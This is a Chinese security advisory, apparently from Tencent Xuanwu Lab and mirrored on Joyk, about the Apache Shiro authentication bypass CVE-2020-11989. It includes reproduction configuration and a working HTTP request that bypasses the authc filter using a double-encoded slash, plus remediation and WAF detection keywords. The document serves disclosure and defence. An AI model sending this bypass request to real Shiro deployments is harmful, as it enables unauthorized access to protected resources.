3

Apache Shiro 身份验证绕过漏洞 (CVE-2020-11989)

 2 years ago
source link: https://xlab.tencent.com/cn/2020/06/30/xlab-20-002/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

Apache Shiro是一个强大且易用的Java安全框架,它可以用来执行身份验证、授权、密码和会话管理。目前常见集成于各种应用中进行身份验证,授权等。

腾讯安全玄武实验室研究员发现在Apache Shiro 1.5.3之前的版本,将Apache Shiro与Spring控制器一起使用时,特制请求可能会导致身份验证绕过。

漏洞发现者

该漏洞由腾讯安全玄武实验室的Ruilin发现并报告,此外来自边界无限的淚笑也独立向官方报告了此漏洞点。

身份验证绕过等

Apache Shiro 1.5.3之前的版本

漏洞位置主要出现在org.apache.shiro.web.util.WebUtils#getPathWithinApplication中调用的getRequestUri方法。

该漏洞可以用以下方法复现,首先编写如下配置代码。

@Configuration
public class ShiroConfig {
@Bean
MyRealm myRealm() {
return new MyRealm();
}

@Bean
SecurityManager securityManager() {
DefaultWebSecurityManager manager = new DefaultWebSecurityManager();
manager.setRealm(myRealm());
return manager;
}

@Bean
ShiroFilterFactoryBean shiroFilterFactoryBean() {
ShiroFilterFactoryBean bean = new ShiroFilterFactoryBean();
bean.setSecurityManager(securityManager());
bean.setLoginUrl("/login");
bean.setSuccessUrl("/index");
bean.setUnauthorizedUrl("/unauthorizedurl");
Map<String, String> map = new LinkedHashMap<>();
map.put("/hello/*", "authc");
bean.setFilterChainDefinitionMap(map);
return bean;
}
}

这里配置了
map.put("/hello/*", "authc");
同时可以去编写对应的controller

@GetMapping("/hello/{name}")
public String hello(@PathVariable String name) {
return "hello";
}

以上操作代表着我通过ant风格的语法设置了去检查在访问/hello路由之后的一级目录的用户是否有权限。
如果请求/hello/aaa那么将会被禁止。

但是这里我们可以通过url双编码的方式来绕过。

/ -> %2f ->%25%32%66
GET /hello/a%25%32%66a HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Upgrade-Insecure-Requests: 1

成功绕过身份验证。

当然这个场景下需要一些限制条件,首先权限ant风格的配置需要是*而不是**,同时controller需要接收的request参数(@PathVariable)的类型需要是String,否则将会出错。

我们可以来具体分析一下过程:

当请求进入应用后会进行第一次的url解码。

%25%32%66 -> %2f

接着当进入到shiro的org.apache.shiro.web.util.WebUtils#getPathWithinApplication采用的是getRequestUri方法同时里面会调用到decodeAndCleanUriString -> decodeRequestString进行再一次的解码。

-w627
也就造成了

%2f -> /

可以看到这里就造成了和Spring的uri处理不一致的问题,也就导致了接下来的问题。
当进入到org.apache.shiro.util.AntPathMatcher#doMatch去匹配是否符合我们之前定义的权限路由/hello/*
-w951
这套流程判断后发现pattIdxStart > pattIdxEnd,也可以通过观察当前变量来理解,如下

这里可以看到path成了/hello/a/a有两个/,所以根据上图所示代码跳过了这次的判断,导致了身份验证绕过。

总结一下,当进入应用后我们的请求页面被解析成/hello/a%2fa,所以它可以进入到spring controller中的/hello/{name},但是因为shiro再次做了url解码,导致判断的uri成为了/hello/a/a 它不属于我们配置的权限判断地址/hello/*
此绕过核心原理可以归因为shiro与spring对RFC标准实现的差异。

此外,getRequestUri在标准化中使用;截断造成的利用场景可以参考分析文章

-w808
采用了标准的getServletPath(request) + getPathInfo(request)同时不再进行url解码。

漏洞时间线

  • 2020-5-27 腾讯安全玄武实验室研究员向Apache Shiro官方报告此漏洞位置
  • 2020-6-16 Apache Shiro官方开始处理此漏洞
  • 2020-6-22 Apache Shiro官方发布漏洞公告与致谢信息

升级至Apache Shiro 1.5.3 或更高版本。

漏洞防护方案

  • 通过WAF检测请求的uri中是否包含%25%32%66关键词
  • 通过WAF检测请求的uri开头是否为/;关键词

注意:增加WAF拦截请首先判断该类关键词是否不影响业务正常运行。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK